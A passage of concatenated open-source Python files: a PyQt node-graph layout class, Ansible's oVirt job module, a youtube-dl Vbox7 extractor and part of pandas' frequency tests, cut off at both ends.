y = h * (0.5 * idx / (len(visible_in_ports) - 1) + 0.25)
else:
y = h * 0.5
port.setPos(0, y)
port.setVisible(show_ports)
for idx, desc in enumerate(self.__out_ports):
port = self.__ports[desc.name]
if len(self.__out_ports) > 1:
y = h * (0.5 * idx / (len(self.__out_ports) - 1) + 0.25)
else:
y = h * 0.5
port.setPos(w, y)
port.setVisible(show_ports)
if self.__rename_node:
title_h = self.__title_edit_proxy.minimumHeight() + 4
self.__title_edit_proxy.setVisible(True)
self.__title_edit_proxy.setPos(4, 4)
self.__title_edit_proxy.resize(w - 8, self.__title_edit_proxy.minimumHeight())
else:
title_h = 24
self.__title_edit_proxy.setVisible(False)
if self.__title_widgets_proxy is not None:
if (h > self.__title_widgets_container.height() + 2
and w > self.__title_widgets_container.width() + 40
and not self.__rename_node):
self.__title_widgets_proxy.setVisible(True)
self.__title_widgets_proxy.setPos(
w - self.__title_widgets_container.width() - 4, 2)
title_h = self.__title_widgets_container.height() + 4
else:
self.__title_widgets_proxy.setVisible(False)
if h > 20 and not self.__rename_node:
self.__title.setVisible(True)
self.__title.setPos(8, (title_h - 2 - self.__title.boundingRect().height()) / 2)
if self.__title_widgets_proxy is not None and self.__title_widgets_proxy.isVisible():
self.__title.setWidth(self.__title_widgets_proxy.pos().x() - 8)
else:
self.__title.setWidth(w - 16)
else:
self.__title.setVisible(False)
if self.__icon is not None:
if self.__title.isVisible():
icon_y = 24
else:
icon_y = 3
self.__icon.setRect(QtCore.QRectF(3, icon_y, w - 6, h - icon_y - 6))
if self.__body_proxy is not None:
bsize = self.__body_proxy.minimumSize()
if h > bsize.height() + (title_h + 4) and w > bsize.width() + 8:
self.__body_proxy.setVisible(True)
self.__body_proxy.setPos(4, title_h)
self.__body_proxy.resize(w - 8, h - (title_h + 4))
else:
self.__body_proxy.setVisible(False)
if self.__title_edit_proxy.isVisible():
drag_rect_width, drag_rect_height = 0.0, 0.0
else:
if self.__body_proxy is not None and self.__body_proxy.isVisible():
drag_rect_height = title_h
else:
drag_rect_height = h
if self.__title_widgets_proxy is not None and self.__title_widgets_proxy.isVisible():
drag_rect_width = self.__title_widgets_proxy.pos().x()
else:
drag_rect_width = w
self.__drag_rect = QtCore.QRectF(0, 0, drag_rect_width, drag_rect_height)
self.props.canvasLayoutChanged.emit()
def paint(
self, painter: QtGui.QPainter, option: QtWidgets.QStyleOptionGraphicsItem,
widget: Optional[QtWidgets.QWidget] = None) -> None:
pass
def mousePressEvent(self, event: QtWidgets.QGraphicsSceneMouseEvent) -> None:
self.setZValue(Node.__next_zvalue)
Node.__next_zvalue += 1
event.ignore()
super().mousePressEvent(event)
def hoverEnterEvent(self, event: QtWidgets.QGraphicsSceneHoverEvent) -> None:
self.__hovered = True
self.__updateState()
return super().hoverEnterEvent(event)
def hoverLeaveEvent(self, event: QtWidgets.QGraphicsSceneHoverEvent) -> None:
self.__hovered = False
self.__updateState()
return super().hoverLeaveEvent(event)
def buildContextMenu(self, menu: QtWidgets.QMenu) -> None:
if self.has_window:
show_window = menu.addAction("Open in window")
show_window.triggered.connect(self.onShowWindow)
if self.__node.removable:
remove = menu.addAction("Remove")
remove.triggered.connect(self.onRemove)
rename = menu.addAction("Rename")
rename.triggered.connect(self.renameNode)
color_menu = menu.addMenu("Set color")
color_action = SelectColorAction(color_menu)
color_action.colorSelected.connect(self.onSetColor)
color_menu.addAction(color_action)
def onShowWindow(self) -> None:
if self.__window is None:
self.__window = self.createWindow(parent=self.project_view)
self.__window.show()
self.__window.raise_()
self.__window.activateWindow()
def onRemove(self) -> None:
with self.project.apply_mutations('Remove node %s' % self.__node.name):
for conn in self.__node.connections:
self.project.remove_node_connection(conn)
self.project.remove_node(self.__node)
def onSetColor(self, color: value_types.Color) -> None:
if color != self.__node.graph_color:
with self.project.apply_mutations('%s: Set color' % self.__node.name):
self.__node.graph_color = color
def renameNode(self) -> None:
self.__rename_node = True
self.__title_edit.setText(self.__node.name)
self.__title_edit.setFocus()
self.__title_edit.selectAll()
self.__layout()
def __renameNodeFinished(self) -> None:
new_name = self.__title_edit.text()
if new_name != self.__node.name:
self.__title.setText(self.__node.name)
with self.project.apply_mutations('%s: Rename to "%s"' % (self.__node.name, new_name)):
self.__node.name = new_name
self.__rename_node = False
self.__layout()
class Connection(ui_base.ProjectMixin, QtWidgets.QGraphicsPathItem):
def __init__(
self, *,
connection: music.NodeConnection,
src_node: Node,
dest_node: Node,
**kwargs: Any) -> None:
super().__init__(**kwargs)
self.__connection = connection
self.__src_node = src_node
self.__dest_node = dest_node
self.__highlighted = False
self.__src_node_canvas_layout_changed_connection = \
self.__src_node.props.canvasLayoutChanged.connect(self.__update)
self.__dest_node_canvas_layout_changed_connection = \
self.__dest_node.props.canvasLayoutChanged.connect(self.__update)
self.__update()
def cleanup(self) -> None:
if self.__src_node_canvas_layout_changed_connection is not None:
self.__src_node.props.canvasLayoutChanged.disconnect(
self.__src_node_canvas_layout_changed_connection)
self.__src_node_canvas_layout_changed_connection = None
if self.__dest_node_canvas_layout_changed_connection is not None:
self.__dest_node.props.canvasLayoutChanged.disconnect(
self.__dest_node_canvas_layout_changed_connection)
self.__dest_node_canvas_layout_changed_connection = None
def connection(self) -> music.NodeConnection:
return self.__connection
def id(self) -> int:
return self.__connection.id
def src_node(self) -> Node:
return self.__src_node
def src_port(self) -> Port:
return self.__src_node.port(self.__connection.source_port)
def dest_node(self) -> Node:
return self.__dest_node
def dest_port(self) -> Port:
return self.__dest_node.port(self.__connection.dest_port)
def setHighlighted(self, highlighted: bool) -> None:
self.__highlighted = highlighted
self.__update()
def __update(self) -> None:
color = port_colors[self.__connection.type]
if self.__highlighted:
pen = QtGui.QPen()
pen.setColor(color)
pen.setWidth(4)
self.setPen(pen)
else:
pen = QtGui.QPen()
pen.setColor(color)
pen.setWidth(2)
self.setPen(pen)
pos1 = self.__src_node.portHandleScenePos(self.__connection.source_port)
pos2 = self.__dest_node.portHandleScenePos(self.__connection.dest_port)
cpos = QtCore.QPointF(min(100, abs(pos2.x() - pos1.x()) / 2), 0)
path = QtGui.QPainterPath()
path.moveTo(pos1)
path.cubicTo(pos1 + cpos, pos2 - cpos, pos2)
self.setPath(path)
| gpl-2.0 |
pdellaert/ansible | lib/ansible/modules/cloud/ovirt/ovirt_job.py | 18 | 7379 | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright (c) 2016 Red Hat, Inc.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
ANSIBLE_METADATA = {'metadata_version': '1.1',
'status': ['preview'],
'supported_by': 'community'}
DOCUMENTATION = '''
---
module: ovirt_job
short_description: Module to manage jobs in oVirt/RHV
version_added: "2.9"
author: "Martin Necas (@mnecas)"
description:
- "This module manage jobs in oVirt/RHV. It can also manage steps of the job."
options:
description:
description:
- "Description of the job."
required: true
state:
description:
- "Should the job be C(present)/C(absent)/C(failed)."
- "C(started) is alias for C(present). C(finished) is alias for C(absent). Same in the steps."
- "Note when C(finished)/C(failed) it will finish/fail all steps."
choices: ['present', 'absent', 'started', 'finished', 'failed']
default: present
steps:
description:
- "The steps of the job."
suboptions:
description:
description:
- "Description of the step."
required: true
state:
description:
- "Should the step be present/absent/failed."
- "Note when one step fail whole job will fail"
- "Note when all steps are finished it will finish job."
choices: ['present', 'absent', 'started', 'finished', 'failed']
default: present
type: list
extends_documentation_fragment: ovirt
'''
EXAMPLES = '''
# Examples don't contain auth parameter for simplicity,
# look at ovirt_auth module to see how to reuse authentication:
- name: Create job with two steps
ovirt_job:
description: job_name
steps:
- description: step_name_A
- description: step_name_B
- name: Finish one step
ovirt_job:
description: job_name
steps:
- description: step_name_A
state: finished
- name: When you fail one step whole job will stop
ovirt_job:
description: job_name
steps:
- description: step_name_B
state: failed
- name: Finish all steps
ovirt_job:
description: job_name
state: finished
'''
RETURN = '''
id:
description: ID of the job which is managed
returned: On success if job is found.
type: str
sample: 7de90f31-222c-436c-a1ca-7e655bd5b60c
job:
description: "Dictionary of all the job attributes. Job attributes can be found on your oVirt/RHV instance
at following url: http://ovirt.github.io/ovirt-engine-api-model/master/#types/job."
returned: On success if job is found.
type: dict
'''
import traceback
try:
import ovirtsdk4.types as otypes
except ImportError:
pass
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.ovirt import (
check_sdk,
create_connection,
equal,
get_id_by_name,
ovirt_full_argument_spec,
get_dict_of_struct,
)
def build_job(description):
return otypes.Job(
description=description,
status=otypes.JobStatus.STARTED,
external=True,
auto_cleared=True
)
def build_step(description, job_id):
return otypes.Step(
description=description,
type=otypes.StepEnum.UNKNOWN,
job=otypes.Job(
id=job_id
),
status=otypes.StepStatus.STARTED,
external=True,
)
def attach_steps(module, job_id, jobs_service):
changed = False
steps_service = jobs_service.job_service(job_id).steps_service()
if module.params.get('steps'):
for step in module.params.get('steps'):
step_entity = get_entity(steps_service, step.get('description'))
step_state = step.get('state', 'present')
if step_state in ['present', 'started']:
if step_entity is None:
steps_service.add(build_step(step.get('description'), job_id))
changed = True
if step_entity is not None and step_entity.status not in [otypes.StepStatus.FINISHED, otypes.StepStatus.FAILED]:
if step_state in ['absent', 'finished']:
steps_service.step_service(step_entity.id).end(succeeded=True)
changed = True
elif step_state == 'failed':
steps_service.step_service(step_entity.id).end(succeeded=False)
changed = True
return changed
def get_entity(service, description):
all_entities = service.list()
for entity in all_entities:
if entity.description == description and entity.status not in [otypes.StepStatus.FINISHED, otypes.JobStatus.FINISHED]:
return entity
def main():
argument_spec = ovirt_full_argument_spec(
state=dict(
choices=['present', 'absent', 'started', 'finished', 'failed'],
default='present',
),
description=dict(default=None),
steps=dict(default=None, type='list'),
)
module = AnsibleModule(
argument_spec=argument_spec,
supports_check_mode=False,
)
check_sdk(module)
try:
auth = module.params.pop('auth')
connection = create_connection(auth)
jobs_service = connection.system_service().jobs_service()
state = module.params['state']
job = get_entity(jobs_service, module.params['description'])
changed = False
if state in ['present', 'started']:
if job is None:
job = jobs_service.add(build_job(module.params['description']))
changed = True
changed = attach_steps(module, job.id, jobs_service) or changed
if job is not None and job.status not in [otypes.JobStatus.FINISHED, otypes.JobStatus.FAILED]:
if state in ['absent', 'finished']:
jobs_service.job_service(job.id).end(succeeded=True)
changed = True
elif state == 'failed':
jobs_service.job_service(job.id).end(succeeded=False)
changed = True
ret = {
'changed': changed,
'id': getattr(job, 'id', None),
'job': get_dict_of_struct(
struct=job,
connection=connection,
fetch_nested=True,
attributes=module.params.get('nested_attributes'),
),
}
module.exit_json(**ret)
except Exception as e:
module.fail_json(msg=str(e), exception=traceback.format_exc())
finally:
connection.close(logout=auth.get('token') is None)
if __name__ == "__main__":
main()
| gpl-3.0 |
tupolev/plugin.video.mitele | lib/youtube_dl/extractor/vbox7.py | 13 | 2263 | # encoding: utf-8
from __future__ import unicode_literals
from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
ExtractorError,
sanitized_Request,
urlencode_postdata,
)
class Vbox7IE(InfoExtractor):
_VALID_URL = r'https?://(?:www\.)?vbox7\.com/play:(?P<id>[^/]+)'
_TEST = {
'url': 'http://vbox7.com/play:249bb972c2',
'md5': '99f65c0c9ef9b682b97313e052734c3f',
'info_dict': {
'id': '249bb972c2',
'ext': 'mp4',
'title': 'Смях! Чудо - чист за секунди - Скрита камера',
},
}
def _real_extract(self, url):
video_id = self._match_id(url)
# need to get the page 3 times for the correct jsSecretToken cookie
# which is necessary for the correct title
def get_session_id():
redirect_page = self._download_webpage(url, video_id)
session_id_url = self._search_regex(
r'var\s*url\s*=\s*\'([^\']+)\';', redirect_page,
'session id url')
self._download_webpage(
compat_urlparse.urljoin(url, session_id_url), video_id,
'Getting session id')
get_session_id()
get_session_id()
webpage = self._download_webpage(url, video_id,
'Downloading redirect page')
title = self._html_search_regex(r'<title>(.*)</title>',
webpage, 'title').split('/')[0].strip()
info_url = 'http://vbox7.com/play/magare.do'
data = urlencode_postdata({'as3': '1', 'vid': video_id})
info_request = sanitized_Request(info_url, data)
info_request.add_header('Content-Type', 'application/x-www-form-urlencoded')
info_response = self._download_webpage(info_request, video_id, 'Downloading info webpage')
if info_response is None:
raise ExtractorError('Unable to extract the media url')
(final_url, thumbnail_url) = map(lambda x: x.split('=')[1], info_response.split('&'))
return {
'id': video_id,
'url': final_url,
'title': title,
'thumbnail': thumbnail_url,
}
| gpl-3.0 |
GuessWhoSamFoo/pandas | pandas/tests/tseries/test_frequencies.py | 1 | 29684 | from datetime import datetime, timedelta
import numpy as np
import pytest
from pandas._libs.tslibs import frequencies as libfrequencies, resolution
from pandas._libs.tslibs.ccalendar import MONTHS
from pandas._libs.tslibs.frequencies import (
INVALID_FREQ_ERR_MSG, FreqGroup, _period_code_map, get_freq, get_freq_code)
import pandas.compat as compat
from pandas.compat import is_platform_windows, range
from pandas import (
DatetimeIndex, Index, Series, Timedelta, Timestamp, date_range,
period_range)
from pandas.core.tools.datetimes import to_datetime
import pandas.util.testing as tm
import pandas.tseries.frequencies as frequencies
import pandas.tseries.offsets as offsets
class TestToOffset(object):
def test_to_offset_multiple(self):
freqstr = '2h30min'
freqstr2 = '2h 30min'
result = frequencies.to_offset(freqstr)
assert (result == frequencies.to_offset(freqstr2))
expected = offsets.Minute(150)
assert (result == expected)
freqstr = '2h30min15s'
result = frequencies.to_offset(freqstr)
expected = offsets.Second(150 * 60 + 15)
assert (result == expected)
freqstr = '2h 60min'
result = frequencies.to_offset(freqstr)
expected = offsets.Hour(3)
assert (result == expected)
freqstr = '2h 20.5min'
result = frequencies.to_offset(freqstr)
expected = offsets.Second(8430)
assert (result == expected)
freqstr = '1.5min'
result = frequencies.to_offset(freqstr)
expected = offsets.Second(90)
assert (result == expected)
freqstr = '0.5S'
result = frequencies.to_offset(freqstr)
expected = offsets.Milli(500)
assert (result == expected)
freqstr = '15l500u'
result = frequencies.to_offset(freqstr)
expected = offsets.Micro(15500)
assert (result == expected)
freqstr = '10s75L'
result = frequencies.to_offset(freqstr)
expected = offsets.Milli(10075)
assert (result == expected)
freqstr = '1s0.25ms'
result = frequencies.to_offset(freqstr)
expected = offsets.Micro(1000250)
assert (result == expected)
freqstr = '1s0.25L'
result = frequencies.to_offset(freqstr)
expected = offsets.Micro(1000250)
assert (result == expected)
freqstr = '2800N'
result = frequencies.to_offset(freqstr)
expected = offsets.Nano(2800)
assert (result == expected)
freqstr = '2SM'
result = frequencies.to_offset(freqstr)
expected = offsets.SemiMonthEnd(2)
assert (result == expected)
freqstr = '2SM-16'
result = frequencies.to_offset(freqstr)
expected = offsets.SemiMonthEnd(2, day_of_month=16)
assert (result == expected)
freqstr = '2SMS-14'
result = frequencies.to_offset(freqstr)
expected = offsets.SemiMonthBegin(2, day_of_month=14)
assert (result == expected)
freqstr = '2SMS-15'
result = frequencies.to_offset(freqstr)
expected = offsets.SemiMonthBegin(2)
assert (result == expected)
# malformed
with pytest.raises(ValueError, match='Invalid frequency: 2h20m'):
frequencies.to_offset('2h20m')
def test_to_offset_negative(self):
freqstr = '-1S'
result = frequencies.to_offset(freqstr)
assert (result.n == -1)
freqstr = '-5min10s'
result = frequencies.to_offset(freqstr)
assert (result.n == -310)
freqstr = '-2SM'
result = frequencies.to_offset(freqstr)
assert (result.n == -2)
freqstr = '-1SMS'
result = frequencies.to_offset(freqstr)
assert (result.n == -1)
def test_to_offset_invalid(self):
# GH 13930
with pytest.raises(ValueError, match='Invalid frequency: U1'):
frequencies.to_offset('U1')
with pytest.raises(ValueError, match='Invalid frequency: -U'):
frequencies.to_offset('-U')
with pytest.raises(ValueError, match='Invalid frequency: 3U1'):
frequencies.to_offset('3U1')
with pytest.raises(ValueError, match='Invalid frequency: -2-3U'):
frequencies.to_offset('-2-3U')
with pytest.raises(ValueError, match='Invalid frequency: -2D:3H'):
frequencies.to_offset('-2D:3H')
with pytest.raises(ValueError, match='Invalid frequency: 1.5.0S'):
frequencies.to_offset('1.5.0S')
# split offsets with spaces are valid
assert frequencies.to_offset('2D 3H') == offsets.Hour(51)
assert frequencies.to_offset('2 D3 H') == offsets.Hour(51)
assert frequencies.to_offset('2 D 3 H') == offsets.Hour(51)
assert frequencies.to_offset(' 2 D 3 H ') == offsets.Hour(51)
assert frequencies.to_offset(' H ') == offsets.Hour()
assert frequencies.to_offset(' 3 H ') == offsets.Hour(3)
# special cases
assert frequencies.to_offset('2SMS-15') == offsets.SemiMonthBegin(2)
with pytest.raises(ValueError, match='Invalid frequency: 2SMS-15-15'):
frequencies.to_offset('2SMS-15-15')
with pytest.raises(ValueError, match='Invalid frequency: 2SMS-15D'):
frequencies.to_offset('2SMS-15D')
def test_to_offset_leading_zero(self):
freqstr = '00H 00T 01S'
result = frequencies.to_offset(freqstr)
assert (result.n == 1)
freqstr = '-00H 03T 14S'
result = frequencies.to_offset(freqstr)
assert (result.n == -194)
def test_to_offset_leading_plus(self):
freqstr = '+1d'
result = frequencies.to_offset(freqstr)
assert (result.n == 1)
freqstr = '+2h30min'
result = frequencies.to_offset(freqstr)
assert (result.n == 150)
for bad_freq in ['+-1d', '-+1h', '+1', '-7', '+d', '-m']:
with pytest.raises(ValueError, match='Invalid frequency:'):
frequencies.to_offset(bad_freq)
def test_to_offset_pd_timedelta(self):
# Tests for #9064
td = Timedelta(days=1, seconds=1)
result = frequencies.to_offset(td)
expected = offsets.Second(86401)
assert (expected == result)
td = Timedelta(days=-1, seconds=1)
result = frequencies.to_offset(td)
expected = offsets.Second(-86399)
assert (expected == result)
td = Timedelta(hours=1, minutes=10)
result = frequencies.to_offset(td)
expected = offsets.Minute(70)
assert (expected == result)
td = Timedelta(hours=1, minutes=-10)
result = frequencies.to_offset(td)
expected = offsets.Minute(50)
assert (expected == result)
td = Timedelta(weeks=1)
result = frequencies.to_offset(td)
expected = offsets.Day(7)
assert (expected == result)
td1 = Timedelta(hours=1)
result1 = frequencies.to_offset(td1)
result2 = frequencies.to_offset('60min')
assert (result1 == result2)
td = Timedelta(microseconds=1)
result = frequencies.to_offset(td)
expected = offsets.Micro(1)
assert (expected == result)
td = Timedelta(microseconds=0)
pytest.raises(ValueError, lambda: frequencies.to_offset(td))
def test_anchored_shortcuts(self):
result = frequencies.to_offset('W')
expected = frequencies.to_offset('W-SUN')
assert (result == expected)
result1 = frequencies.to_offset('Q')
result2 = frequencies.to_offset('Q-DEC')
expected = offsets.QuarterEnd(startingMonth=12)
assert (result1 == expected)
assert (result2 == expected)
result1 = frequencies.to_offset('Q-MAY')
expected = offsets.QuarterEnd(startingMonth=5)
assert (result1 == expected)
result1 = frequencies.to_offset('SM')
result2 = frequencies.to_offset('SM-15')
expected = offsets.SemiMonthEnd(day_of_month=15)
assert (result1 == expected)
assert (result2 == expected)
result = frequencies.to_offset('SM-1')
expected = offsets.SemiMonthEnd(day_of_month=1)
assert (result == expected)
result = frequencies.to_offset('SM-27')
expected = offsets.SemiMonthEnd(day_of_month=27)
assert (result == expected)
result = frequencies.to_offset('SMS-2')
expected = offsets.SemiMonthBegin(day_of_month=2)
assert (result == expected)
result = frequencies.to_offset('SMS-27')
expected = offsets.SemiMonthBegin(day_of_month=27)
assert (result == expected)
# ensure invalid cases fail as expected
invalid_anchors = ['SM-0', 'SM-28', 'SM-29',
'SM-FOO', 'BSM', 'SM--1',
'SMS-1', 'SMS-28', 'SMS-30',
'SMS-BAR', 'SMS-BYR' 'BSMS',
'SMS--2']
for invalid_anchor in invalid_anchors:
with pytest.raises(ValueError, match='Invalid frequency: '):
frequencies.to_offset(invalid_anchor)
def test_ms_vs_MS():
left = frequencies.get_offset('ms')
right = frequencies.get_offset('MS')
assert left == offsets.Milli()
assert right == offsets.MonthBegin()
def test_rule_aliases():
rule = frequencies.to_offset('10us')
assert rule == offsets.Micro(10)
class TestFrequencyCode(object):
def test_freq_code(self):
assert get_freq('A') == 1000
assert get_freq('3A') == 1000
assert get_freq('-1A') == 1000
assert get_freq('Y') == 1000
assert get_freq('3Y') == 1000
assert get_freq('-1Y') == 1000
assert get_freq('W') == 4000
assert get_freq('W-MON') == 4001
assert get_freq('W-FRI') == 4005
for freqstr, code in compat.iteritems(_period_code_map):
result = get_freq(freqstr)
assert result == code
result = resolution.get_freq_group(freqstr)
assert result == code // 1000 * 1000
result = resolution.get_freq_group(code)
assert result == code // 1000 * 1000
def test_freq_group(self):
assert resolution.get_freq_group('A') == 1000
assert resolution.get_freq_group('3A') == 1000
assert resolution.get_freq_group('-1A') == 1000
assert resolution.get_freq_group('A-JAN') == 1000
assert resolution.get_freq_group('A-MAY') == 1000
assert resolution.get_freq_group('Y') == 1000
assert resolution.get_freq_group('3Y') == 1000
assert resolution.get_freq_group('-1Y') == 1000
assert resolution.get_freq_group('Y-JAN') == 1000
assert resolution.get_freq_group('Y-MAY') == 1000
assert resolution.get_freq_group(offsets.YearEnd()) == 1000
assert resolution.get_freq_group(offsets.YearEnd(month=1)) == 1000
assert resolution.get_freq_group(offsets.YearEnd(month=5)) == 1000
assert resolution.get_freq_group('W') == 4000
assert resolution.get_freq_group('W-MON') == 4000
assert resolution.get_freq_group('W-FRI') == 4000
assert resolution.get_freq_group(offsets.Week()) == 4000
assert resolution.get_freq_group(offsets.Week(weekday=1)) == 4000
assert resolution.get_freq_group(offsets.Week(weekday=5)) == 4000
def test_get_to_timestamp_base(self):
tsb = libfrequencies.get_to_timestamp_base
assert (tsb(get_freq_code('D')[0]) ==
get_freq_code('D')[0])
assert (tsb(get_freq_code('W')[0]) ==
get_freq_code('D')[0])
assert (tsb(get_freq_code('M')[0]) ==
get_freq_code('D')[0])
assert (tsb(get_freq_code('S')[0]) ==
get_freq_code('S')[0])
assert (tsb(get_freq_code('T')[0]) ==
get_freq_code('S')[0])
assert (tsb(get_freq_code('H')[0]) ==
get_freq_code('S')[0])
def test_freq_to_reso(self):
Reso = resolution.Resolution
assert Reso.get_str_from_freq('A') == 'year'
assert Reso.get_str_from_freq('Q') == 'quarter'
assert Reso.get_str_from_freq('M') == 'month'
assert Reso.get_str_from_freq('D') == 'day'
assert Reso.get_str_from_freq('H') == 'hour'
assert Reso.get_str_from_freq('T') == 'minute'
assert Reso.get_str_from_freq('S') == 'second'
assert Reso.get_str_from_freq('L') == 'millisecond'
assert Reso.get_str_from_freq('U') == 'microsecond'
assert Reso.get_str_from_freq('N') == 'nanosecond'
for freq in ['A', 'Q', 'M', 'D', 'H', 'T', 'S', 'L', 'U', 'N']:
# check roundtrip
result = Reso.get_freq(Reso.get_str_from_freq(freq))
assert freq == result
for freq in ['D', 'H', 'T', 'S', 'L', 'U']:
result = Reso.get_freq(Reso.get_str(Reso.get_reso_from_freq(freq)))
assert freq == result
def test_resolution_bumping(self):
# see gh-14378
Reso = resolution.Resolution
assert Reso.get_stride_from_decimal(1.5, 'T') == (90, 'S')
assert Reso.get_stride_from_decimal(62.4, 'T') == (3744, 'S')
assert Reso.get_stride_from_decimal(1.04, 'H') == (3744, 'S')
assert Reso.get_stride_from_decimal(1, 'D') == (1, 'D')
assert (Reso.get_stride_from_decimal(0.342931, 'H') ==
(1234551600, 'U'))
assert Reso.get_stride_from_decimal(1.2345, 'D') == (106660800, 'L')
with pytest.raises(ValueError):
Reso.get_stride_from_decimal(0.5, 'N')
# too much precision in the input can prevent
with pytest.raises(ValueError):
Reso.get_stride_from_decimal(0.3429324798798269273987982, 'H')
def test_get_freq_code(self):
# frequency str
assert (get_freq_code('A') ==
(get_freq('A'), 1))
assert (get_freq_code('3D') ==
(get_freq('D'), 3))
assert (get_freq_code('-2M') ==
(get_freq('M'), -2))
# tuple
assert (get_freq_code(('D', 1)) ==
(get_freq('D'), 1))
assert (get_freq_code(('A', 3)) ==
(get_freq('A'), 3))
assert (get_freq_code(('M', -2)) ==
(get_freq('M'), -2))
# numeric tuple
assert get_freq_code((1000, 1)) == (1000, 1)
# offsets
assert (get_freq_code(offsets.Day()) ==
(get_freq('D'), 1))
assert (get_freq_code(offsets.Day(3)) ==
(get_freq('D'), 3))
assert (get_freq_code(offsets.Day(-2)) ==
(get_freq('D'), -2))
assert (get_freq_code(offsets.MonthEnd()) ==
(get_freq('M'), 1))
assert (get_freq_code(offsets.MonthEnd(3)) ==
(get_freq('M'), 3))
assert (get_freq_code(offsets.MonthEnd(-2)) ==
(get_freq('M'), -2))
assert (get_freq_code(offsets.Week()) ==
(get_freq('W'), 1))
assert (get_freq_code(offsets.Week(3)) ==
(get_freq('W'), 3))
assert (get_freq_code(offsets.Week(-2)) ==
(get_freq('W'), -2))
# Monday is weekday=0
assert (get_freq_code(offsets.Week(weekday=1)) ==
(get_freq('W-TUE'), 1))
assert (get_freq_code(offsets.Week(3, weekday=0)) ==
(get_freq('W-MON'), 3))
assert (get_freq_code(offsets.Week(-2, weekday=4)) ==
(get_freq('W-FRI'), -2))
def test_frequency_misc(self):
assert (resolution.get_freq_group('T') ==
FreqGroup.FR_MIN)
code, stride = get_freq_code(offsets.Hour())
assert code == FreqGroup.FR_HR
code, stride = get_freq_code((5, 'T'))
assert code == FreqGroup.FR_MIN
assert stride == 5
offset = offsets.Hour()
result = frequencies.to_offset(offset)
assert result == offset
result = frequencies.to_offset((5, 'T'))
expected = offsets.Minute(5)
assert result == expected
with pytest.raises(ValueError, match='Invalid frequency'):
get_freq_code((5, 'baz'))
with pytest.raises(ValueError, match='Invalid frequency'):
frequencies.to_offset('100foo')
with pytest.raises(ValueError, match='Could not evaluate'):
frequencies.to_offset(('', ''))
_dti = DatetimeIndex
class TestFrequencyInference(object):
def test_raise_if_period_index(self):
index = period_range(start="1/1/1990", periods=20, freq="M")
pytest.raises(TypeError, frequencies.infer_freq, index)
def test_raise_if_too_few(self):
index = _dti(['12/31/1998', '1/3/1999'])
pytest.raises(ValueError, frequencies.infer_freq, index)
def test_business_daily(self):
index = _dti(['01/01/1999', '1/4/1999', '1/5/1999'])
assert frequencies.infer_freq(index) == 'B'
def test_business_daily_look_alike(self):
# GH 16624, do not infer 'B' when 'weekend' (2-day gap) in wrong place
index = _dti(['12/31/1998', '1/3/1999', '1/4/1999'])
assert frequencies.infer_freq(index) is None
def test_day(self):
self._check_tick(timedelta(1), 'D')
def test_day_corner(self):
index = _dti(['1/1/2000', '1/2/2000', '1/3/2000'])
assert frequencies.infer_freq(index) == 'D'
def test_non_datetimeindex(self):
dates = to_datetime(['1/1/2000', '1/2/2000', '1/3/2000'])
assert frequencies.infer_freq(dates) == 'D'
def test_hour(self):
self._check_tick(timedelta(hours=1), 'H')
def test_minute(self):
self._check_tick(timedelta(minutes=1), 'T')
def test_second(self):
self._check_tick(timedelta(seconds=1), 'S')
def test_millisecond(self):
self._check_tick(timedelta(microseconds=1000), 'L')
def test_microsecond(self):
self._check_tick(timedelta(microseconds=1), 'U')
def test_nanosecond(self):
self._check_tick(np.timedelta64(1, 'ns'), 'N')
def _check_tick(self, base_delta, code):
b = Timestamp(datetime.now())
for i in range(1, 5):
inc = base_delta * i
index = _dti([b + inc * j for j in range(3)])
if i > 1:
exp_freq = '%d%s' % (i, code)
else:
exp_freq = code
assert frequencies.infer_freq(index) == exp_freq
index = _dti([b + base_delta * 7] + [b + base_delta * j for j in range(
3)])
assert frequencies.infer_freq(index) is None
index = _dti([b + base_delta * j for j in range(3)] + [b + base_delta *
7])
assert frequencies.infer_freq(index) is None
def test_weekly(self):
days = ['MON', 'TUE', 'WED', 'THU', 'FRI', 'SAT', 'SUN']
for day in days:
self._check_generated_range('1/1/2000', 'W-%s' % day)
def test_week_of_month(self):
days = ['MON', 'TUE', 'WED', 'THU', 'FRI', 'SAT', 'SUN']
for day in days:
for i in range(1, 5):
self._check_generated_range('1/1/2000', 'WOM-%d%s' % (i, day))
def test_fifth_week_of_month(self):
# Only supports freq up to WOM-4. See #9425
func = lambda: date_range('2014-01-01', freq='WOM-5MON')
pytest.raises(ValueError, func)
def test_fifth_week_of_month_infer(self):
# Only attempts to infer up to WOM-4. See #9425
index = DatetimeIndex(["2014-03-31", "2014-06-30", "2015-03-30"])
assert frequencies.infer_freq(index) is None
def test_week_of_month_fake(self):
# All of these dates are on same day of week and are 4 or 5 weeks apart
index = DatetimeIndex(["2013-08-27", "2013-10-01", "2013-10-29",
"2013-11-26"])
assert frequencies.infer_freq(index) != 'WOM-4TUE'
def test_monthly(self):
self._check_generated_range('1/1/2000', 'M')
def test_monthly_ambiguous(self):
rng = _dti(['1/31/2000', '2/29/2000', '3/31/2000'])
assert rng.inferred_freq == 'M'
def test_business_monthly(self):
self._check_generated_range('1/1/2000', 'BM')
def test_business_start_monthly(self):
self._check_generated_range('1/1/2000', 'BMS')
def test_quarterly(self):
for month in ['JAN', 'FEB', 'MAR']:
self._check_generated_range('1/1/2000', 'Q-%s' % month)
def test_annual(self):
for month in MONTHS:
self._check_generated_range('1/1/2000', 'A-%s' % month)
def test_business_annual(self):
for month in MONTHS:
self._check_generated_range('1/1/2000', 'BA-%s' % month)
def test_annual_ambiguous(self):
rng = _dti(['1/31/2000', '1/31/2001', '1/31/2002'])
assert rng.inferred_freq == 'A-JAN'
def _check_generated_range(self, start, freq):
freq = freq.upper()
gen = date_range(start, periods=7, freq=freq)
index = _dti(gen.values)
if not freq.startswith('Q-'):
assert frequencies.infer_freq(index) == gen.freqstr
else:
inf_freq = frequencies.infer_freq(index)
is_dec_range = inf_freq == 'Q-DEC' and gen.freqstr in (
